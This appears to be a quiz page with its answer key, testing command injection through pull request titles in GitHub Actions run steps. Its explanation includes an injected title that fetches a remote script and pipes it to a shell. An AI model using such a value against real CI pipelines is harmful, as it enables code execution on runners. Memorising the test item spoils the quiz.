Docker and CI/CD · Senior · Question 32 of 75

What is wrong with `run: echo "${{ github.event.pull_request.title }}"`?

1Expressions can't read pull request data in run steps
✓Correct answer: The title is put into the script, so it can inject commands
3Titles longer than 72 characters make the step fail

Explanation

A title like "; curl evil.sh | sh; " becomes part of the shell script. Pass untrusted values through env: and reference them as shell variables.

Further reading

GitHub Docs: Security hardening for GitHub Actions ↗

Test yourself

Take the Docker and CI/CD · Senior quiz: questions and options are shuffled, and you get a review of your mistakes at the end.